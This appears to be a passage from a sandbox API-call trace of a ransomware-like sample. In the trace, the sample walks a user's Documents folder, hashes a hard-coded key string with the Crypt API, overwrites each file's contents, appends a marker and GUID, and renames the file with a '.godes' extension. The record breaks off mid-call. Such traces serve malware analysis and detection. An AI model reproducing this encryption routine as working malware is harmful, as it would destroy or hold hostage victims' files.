RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.833] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.833] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\IrPWAmnZ4jkLi8.xlsx") returned=".xlsx" [0113.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\IrPWAmnZ4jkLi8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\irpwamnz4jkli8.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.834] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=53526) returned 1 [0113.834] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.836] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd0f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.836] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.837] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.837] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.837] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.837] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd116, lpOverlapped=0x0) returned 1 [0113.838] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.838] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.838] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.838] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.838] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.839] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.839] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.839] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.839] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.839] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.839] GetLastError () returned 0x0 [0113.839] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.839] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.839] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.839] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd120) returned 0x3321120 [0113.839] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.839] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.839] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xd111, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xd111, lpOverlapped=0x0) returned 1 [0113.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.840] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd116, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.840] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.840] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.840] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.840] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.840] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.840] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.840] CloseHandle (hObject=0x624) returned 1 [0113.841] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.841] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.841] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\IrPWAmnZ4jkLi8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\irpwamnz4jkli8.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\IrPWAmnZ4jkLi8.xlsx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\irpwamnz4jkli8.xlsx.godes")) returned 1 [0113.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.842] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0113.843] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28148b40, ftCreationTime.dwHighDateTime=0x1d4c962, ftLastAccessTime.dwLowDateTime=0x6d0dbab0, ftLastAccessTime.dwHighDateTime=0x1d4c5f6, ftLastWriteTime.dwLowDateTime=0x6d0dbab0, ftLastWriteTime.dwHighDateTime=0x1d4c5f6, nFileSizeHigh=0x0, nFileSizeLow=0xd05d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nI-a EyZHIqzRrkt2.pdf", cAlternateFileName="NI-AEY~1.PDF")) returned 1 [0113.843] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.843] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.843] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\nI-a EyZHIqzRrkt2.pdf") returned=".pdf" [0113.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\nI-a EyZHIqzRrkt2.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\ni-a eyzhiqzrrkt2.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.844] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=53341) returned 1 [0113.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.845] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd037, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.845] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.847] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.847] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd05d, lpOverlapped=0x0) returned 1 [0113.847] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.847] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.848] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.848] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.848] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.848] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.848] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.848] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.848] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.848] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.848] GetLastError () returned 0x0 [0113.848] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.849] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.849] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd060) returned 0x3321120 [0113.849] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.849] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xd058, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xd058, lpOverlapped=0x0) returned 1 [0113.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.849] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd05d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.849] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.849] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.849] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.849] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.850] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.850] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.850] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.850] CloseHandle (hObject=0x624) returned 1 [0113.851] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.851] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.851] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.851] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\nI-a EyZHIqzRrkt2.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\ni-a eyzhiqzrrkt2.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\nI-a EyZHIqzRrkt2.pdf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\ni-a eyzhiqzrrkt2.pdf.godes")) returned 1 [0113.852] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.852] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0113.853] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcb3b0, ftCreationTime.dwHighDateTime=0x1d4c840, ftLastAccessTime.dwLowDateTime=0x656a0ad0, ftLastAccessTime.dwHighDateTime=0x1d4c5c3, ftLastWriteTime.dwLowDateTime=0x656a0ad0, ftLastWriteTime.dwHighDateTime=0x1d4c5c3, nFileSizeHigh=0x0, nFileSizeLow=0x149b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oyegcKVpN.pdf", cAlternateFileName="OYEGCK~1.PDF")) returned 1 [0113.853] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.853] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.853] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\oyegcKVpN.pdf") returned=".pdf" [0113.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\oyegcKVpN.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\oyegckvpn.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.854] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=84406) returned 1 [0113.854] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.856] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14990, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.856] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.857] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.857] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x149b6, lpOverlapped=0x0) returned 1 [0113.858] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.858] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.858] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.858] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.858] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.859] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.859] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.859] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.859] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.859] GetLastError () returned 0x0 [0113.859] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.859] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x149c0) returned 0x3321120 [0113.860] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.860] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x149b1, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x149b1, lpOverlapped=0x0) returned 1 [0113.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.860] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x149b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.860] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.860] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.860] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.861] CloseHandle (hObject=0x624) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.862] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\oyegcKVpN.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\oyegckvpn.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\oyegcKVpN.pdf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\oyegckvpn.pdf.godes")) returned 1 [0113.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.862] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0113.863] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b3b6c0, ftCreationTime.dwHighDateTime=0x1d4c93d, ftLastAccessTime.dwLowDateTime=0xc6454cc0, ftLastAccessTime.dwHighDateTime=0x1d4cc99, ftLastWriteTime.dwLowDateTime=0xc6454cc0, ftLastWriteTime.dwHighDateTime=0x1d4cc99, nFileSizeHigh=0x0, nFileSizeLow=0xf95b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHHCf1DuRREhYQ07.ods", cAlternateFileName="QHHCF1~1.ODS")) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.863] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\qHHCf1DuRREhYQ07.ods") returned=".ods" [0113.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\qHHCf1DuRREhYQ07.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\qhhcf1durrehyq07.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.864] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=63835) returned 1 [0113.864] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.865] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf935, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.865] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.867] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.867] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xf95b, lpOverlapped=0x0) returned 1 [0113.868] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.868] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.868] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.868] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.868] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, 